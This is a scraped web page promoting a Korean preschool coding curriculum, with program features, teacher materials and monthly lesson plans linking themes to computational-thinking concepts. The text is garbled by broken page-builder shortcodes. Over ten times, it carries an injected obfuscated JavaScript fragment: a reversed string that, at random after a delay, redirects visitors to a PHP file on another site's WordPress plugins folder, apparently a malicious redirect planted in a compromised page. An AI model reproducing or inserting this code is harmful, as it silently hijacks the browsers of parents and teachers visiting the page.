) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}top” video_aspect_ratio=”16:9″ video_mute=”yes” video_loop=”yes” fade=”no” border_style=”solid” padding_top=”20″ padding_bottom=”20″ padding_left=”0″ padding_right=”0″ hundred_percent=”no” equal_height_columns=”no” hide_on_mobile=”no” type=”legacy” border_sizes_top=”0px” border_sizes_bottom=”0px” border_sizes_left=”0px” border_sizes_right=”0px”]
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Coding&Play Kids
A lot of preschool institutions nationwide are offering coding education.
Smart Robot Coding&Play Preschool is a special program for preschool coding education that has been developed
in accordance with the five areas of the Nuri Curriculum and with everyday life themes.
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) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}top” border_style=”solid” spacing=”yes” background_repeat=”no-repeat” margin_top=”0px” margin_bottom=”0px” animation_speed=”0.3″ animation_direction=”left” hide_on_mobile=”no” center_content=”no” min_height=”none” align_self=”flex-start” first=”true” last=”true” hover_type=”none” border_position=”all” link=””]
Features of the program
) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}top” video_aspect_ratio=”16:9″ video_mute=”yes” video_loop=”yes” fade=”no” border_style=”solid” padding_top=”70px” padding_bottom=”20″ padding_left=”20px” padding_right=”20px” hundred_percent=”no” equal_height_columns=”yes” hide_on_mobile=”no” type=”legacy” flex_align_items=”stretch” border_sizes_top=”0px” border_sizes_bottom=”0px” border_sizes_left=”0px” border_sizes_right=”0px”]
) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}top” border_style=”solid” spacing=”yes” background_repeat=”no-repeat” margin_top=”0px” margin_bottom=”0px” animation_speed=”0.3″ animation_direction=”left” hide_on_mobile=”no” center_content=”no” min_height=”none” align_self=”flex-start” first=”true” last=”true” hover_type=”none” border_position=”all” link=””][fusion_separator style_type=”none” top_margin=”10px” bottom_margin=”10px” sep_color=”#d1d1d1″ border_size=”1px” width=”100%” alignment=”center” /]
) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}top” hover_type=”none” border_position=”all” border_color=”#dad9d9″ border_style=”solid” padding_top=”0″ padding_right=”0″ padding_bottom=”0″ padding_left=”0″ animation_type=”0″ animation_direction=”down” animation_speed=”0.1″ border_sizes_top=”0″ border_sizes_bottom=”0″ border_sizes_left=”0″ border_sizes_right=”0″ first=”true” spacing_right=”2%” min_height=”” link=””][fusion_separator style_type=”none” top_margin=”30px” alignment=”center” /]
This special program for coding education has been developed in accordance with the five areas of the Nuri Curriculum and with everyday life themes
The coding program, developed in accordance with the developmental stages by age, helps children to become creative by developing their problem-solving abilities based on computational thinking and an integrative information thinking process.
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) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}top” video_aspect_ratio=”16:9″ video_mute=”yes” video_loop=”yes” fade=”no” border_style=”solid” padding_top=”70″ padding_bottom=”20″ padding_left=”20px” padding_right=”20px” hundred_percent=”no” equal_height_columns=”yes” hide_on_mobile=”no” type=”legacy” flex_align_items=”stretch” border_sizes_top=”0px” border_sizes_bottom=”0px” border_sizes_left=”0px” border_sizes_right=”0px”]
) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}top” hover_type=”none” border_position=”all” border_color=”#dad9d9″ border_style=”solid” padding_top=”0″ padding_right=”0″ padding_bottom=”0″ padding_left=”0″ animation_type=”0″ animation_direction=”down” animation_speed=”0.1″ border_sizes_top=”0″ border_sizes_bottom=”0″ border_sizes_left=”0″ border_sizes_right=”0″ first=”true” spacing_right=”2%” min_height=”” link=””]
) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}top” hover_type=”none” border_position=”all” border_color=”#dad9d9″ border_style=”solid” padding_top=”0″ padding_right=”0″ padding_bottom=”0″ padding_left=”0″ animation_type=”0″ animation_direction=”down” animation_speed=”0.1″ border_sizes_top=”0″ border_sizes_bottom=”0″ border_sizes_left=”0″ border_sizes_right=”0″ first=”false” spacing_left=”2%” min_height=”” link=””]
A special program for preschool coding education has been developed in accordance with a systematic Computational Thinking plan
Developed in accordance with a Computational Thinking plan that promotes logical thinking, Coding & Play Preschool helps children learn to code and develop their problem-solving abilities naturally through play.
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) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}top” hover_type=”none” border_position=”all” border_color=”#dad9d9″ border_style=”solid” padding_top=”0″ padding_right=”0″ padding_bottom=”0″ padding_left=”0″ animation_type=”0″ animation_direction=”down” animation_speed=”0.1″ border_sizes_top=”0″ border_sizes_bottom=”0″ border_sizes_left=”0″ border_sizes_right=”0″ first=”true” spacing_right=”2%” min_height=”” link=””]
A convenient program for teachers to prepare for teaching
· Activity book, sticker, pack of cards (provided only for odd-number issues), attached paper
· Group activity materials once a month (1 type for each level, sold separately)
· Provision of a quarterly teacher training guide and video training with each issue
· A teachers’ guidebook, monthly teaching plan, activity video, and postings of mp3 music sources available at www.codingnplay.co.kr
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) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}top” video_aspect_ratio=”16:9″ video_mute=”yes” video_loop=”yes” fade=”no” border_style=”solid” padding_top=”70″ padding_bottom=”20″ padding_left=”20px” padding_right=”20px” hundred_percent=”no” equal_height_columns=”yes” hide_on_mobile=”no” type=”legacy” flex_align_items=”stretch” border_sizes_top=”0px” border_sizes_bottom=”0px” border_sizes_left=”0px” border_sizes_right=”0px”]
) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}top” hover_type=”none” border_position=”all” border_color=”#dad9d9″ border_style=”solid” padding_top=”0″ padding_right=”0″ padding_bottom=”0″ padding_left=”0″ animation_type=”0″ animation_direction=”down” animation_speed=”0.1″ border_sizes_top=”0″ border_sizes_bottom=”0″ border_sizes_left=”0″ border_sizes_right=”0″ first=”true” spacing_right=”2%” min_height=”” link=””]
) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}top” hover_type=”none” border_position=”all” border_color=”#dad9d9″ border_style=”solid” padding_top=”0″ padding_right=”0″ padding_bottom=”0″ padding_left=”0″ animation_type=”0″ animation_direction=”down” animation_speed=”0.1″ border_sizes_top=”0″ border_sizes_bottom=”0″ border_sizes_left=”0″ border_sizes_right=”0″ first=”false” spacing_left=”2%” min_height=”” link=””]
A program that enables home-related coding activities
· Provision of a certification and a medal for each level from SK Telecom once a year (at the end of a semester)
· Provision of a collection board once a year (at the beginning of a semester)
· Holding of a Coding Camp to activate the coding education
· Smart Robot Coding & Play Preschool Animation program scheduled to be broadcast on EBS (scheduled for Oct. 2016)
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Annual plan
Annual plan for the Smart Robot Coding & Play Preschool program
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| A number(month) | Life theme | Sub-theme | (C.T) Computational Thinking Activity concept |
|---|---|---|---|
| No.1(Mar) | Our kindergarten and our friends | The environment at our kindergarten/ A day in the kindergarten/ Friends I have met at kindergarten/ Playing together in our kindergarten | data collection, sequential arrangements, sequential practice |
| No.2(Apr) | Spring · Animals, plants and nature | Spring weather and scenery/ Animals in our life/ Animals and plants in our life/ We live together with nature | sequential practice, data analysis, loops |
| No.3(May) | Me and my family | My body and mind/ I am precious/ My precious family/ My happy home | fact representation, basic concepts of space, signal sending (basic) |
| No.4(Jun) | My town | The appearance of my town/ Everyday life in my town/ People in my town/ Neighbors giving and receiving help | basic concepts of figures, problem decomposition, loops (basic) |
| No.5(Jul) | Summer · Health and safety | Summer weather and scenery/ Joyful exercises and rest/ Me and my clean environment/ Tasty food and nutrition | data analysis, sequential arrangements, sequential practice |
| No.6(Aug) | Transportation facilities | Various land transportation facilities/ Praiseworthy land transportation facilities/ Air and water transportation facilities/ The joyful transportation life | measurements (basic), signal sending (basic), loops (basic) |
| No.7(Sep) | My country | The life of people in my country/ Plays in my country/ Art in my country/ History and the things we are proud of in my country | understanding the order of games, sound play, debugging |
| No.8(Oct) | Fall and fruit | Fall scenery and change/ The richness of fall/ Chuseok and play/ Fall outings | data collection, sound play, loops (pattern) |
| No.9(Nov) | Life and the environment | Water in our life/ Stones and the earth in our life/ Wind and air in our life/ light and sound in our life | sequential practice, sound utilization, measurements (basic) |
| No.10(Dec) | Winter and play | Winter weather and scenery/ Let’s share our love/ Having a healthy winter/ Snow and Snowmen | sequential arrangements, signal sending (basic), loops (pattern) |
| No.11(Jan) | Tools for everyday life | Various tools for everyday life/ Safely using the tools for every life/ Power for moving the tools for everyday life/ Media as a tool for everyday life | problem searching activities, data collection, loops (2 times automatically) practice |
| No.12(Feb) | I am becoming a big brother | I have grown a lot/ I help my younger brothers and sisters/ I am preparing to become a big brother/ Farewell to my joyful class | sound play, debugging, loops (2 times automatically) |
| A number(month) | Life theme | Sub-theme | (C.T) Computational Thinking Activity concept |
|---|---|---|---|
| No.1(Mar) | Our kindergarten and our friends | The environment at our kindergarten/ A day in the kindergarten/ Friends I have met at kindergarten/ Playing together in our kindergarten | data collection, sequential arrangements, sequential practice |
| No.2(Apr) | Spring · Animals, plants and nature | Enjoying the spring scenery/ Having a warm spring/ Animals and plants I want to know about/ Animals and plants in our life | measurements (basic), opinion sharing, signal sending (basic), sequential arrangements |
| No.3(May) | Me and my family | My body and mind/ I am precious/ My precious family/ Life and culture of a family | sound play, loops, debugging |
| No.4(Jun) | My neighborhood | The sppearance of my neighborhood/ Everyday life in my neighborhood/ The people in my neighborhood/ Tradition and culture in my neighborhood | problem decomposition, sequential practice, events |
| No.5(Jul) | Summer · Health and safety | Summer weather and scenery/ Having a hot summer/ Fun exercises and rest/ Tasty food and nutrition | signal sending (application), sound utilization, loops (pattern) |
| No.6(Aug) | Transportation facilities | Various land transportation facilities/ Praiseworthy land transportation facilities/ Air and water transportation facilities/ The joyful transportation life | problem extension activities, data collection, conditionals |
| No.7(Sep) | My country ·Countries of the world | The life of people in my country/ Plays and art in my country/ People’s lives in different countries/ Cultural heritage in different countries | problem decomposition, opinion sharing/ sound play (2 types used) |
| No.8(Oct) | Fall and fruit | Enjoying the fall scenery / the richness of fall/ Chuseok and play/ Fall outings | play method visualization, events, sorting algorithms |
| No.9(Nov) | Life and the environment | Water in our life/ Stones and the earth in our life/ Wind and air in our life/ light and sound in our life | sound play (3 types used), loops (2 times automatically), conditionals |
| No.10(Dec) | Winter and play | Winter weather and scenery/ Let’s share our gratitude and love/ Having a healthy winter/ Exciting winter play | idea integration, judging, events |
| No.11(Jan) | Tools for everyday life | Various tools for everyday life/ Power for moving the tools for everyday life/ Media as a tool for everyday life | problem searching activities, data collection, loops (2 times automatically) practice |
| No.12(Feb) | I am becoming a big brother | I have grown a lot/ I help my younger brothers and sisters/ I am preparing to become a big brother/ Farewell to my joyful class | loops (4 times automatically), generalizations |
| A number(month) | Life theme | Sub-theme | (C.T) Computational Thinking Activity concept |
|---|---|---|---|
| No.1(Mar) | Our kindergarten and friends | The environment at our kindergarten/ A day at the kindergarten/ Friends I have met at kindergarten/ The kindergarten we make together | problem decomposition, algorithm and procedures, learning-matter presentation, sequential practice |
| No.2(Apr) | Spring · Animals, plants and nature | The appearance of spring / Animals welcoming the spring/ Animals and plants in our life/ We live together with nature | problem extension activities, sequential practice, loops |
| No.3(May) | Me and my family | My body and mind/ I am precious/ My precious family/ Family life and culture | sound play, sorting algorithms, events, debugging |
| No.4(Jun) | My neighborhood | The appearance of my neighborhood/ The facilities in my neighborhood/ Tradition and culture in my neighborhood | sorting algorithms, measurements (advanced), conditionals |
| No.5(Jul) | Summer · Health and safety | Joyful exercises and rest/ Me and my clean environment/ Tasty food and nutrition/ Safe play and life | loops, sound play (2 types used), signal sending (planning) |
| No.6(Aug) | Transportation facilities | Types of transportation facilities/ The transition process and structure of transportation facilities/ Traffic communication and the transportation life | problem decomposition, events, generalizations |
| No.7(Sep) | My country and the world | Life in my country/ The cultural heritage of my country/ Life in different countries/ Together with the world | idea sharing in groups, loops (2 times automatically), free coding (basic) |
| No.8(Oct) | Fall and fruit | Changes that occur in the fall/ fall grains and fruit/ The story of Chuseok / Having a rich fall | data collection, sound play, loops (pattern) idea integration, loops ( Repeat ○ times.), free coding (basic) |
| No.9(Nov) | Earth and the environment | Earth we live on/ Changes in the Earth/ The environment and our life/ Protection of the Earth | Signal sending (planning), loops (3 times automatically), free coding (basic) |
| No.10(Dec) | Winter and play | The appearance of winter and our life/ The winter life of animals and plants/ Health and safety in the winter/ Winter with our neighbors | Sound play (3 types used), duplication, free coding (intermediate) |
| No.11(Jan) | Tools and machines for everyday life | Various tools for everyday life/ The machines around us/ Media as a tool for everyday life/ Future tools and machines for everyday life | sorting algorithms, loops (4 times automatically), free coding (intermediate) |
| No.12(Feb) | I am going to elementary school | Farewell to my joyful class/ I want to know about elementary school/ When I become a first-year student/ Expressing gratitude | judging, loops (infinite automation), dual conditionals, free coding (intermediate) |
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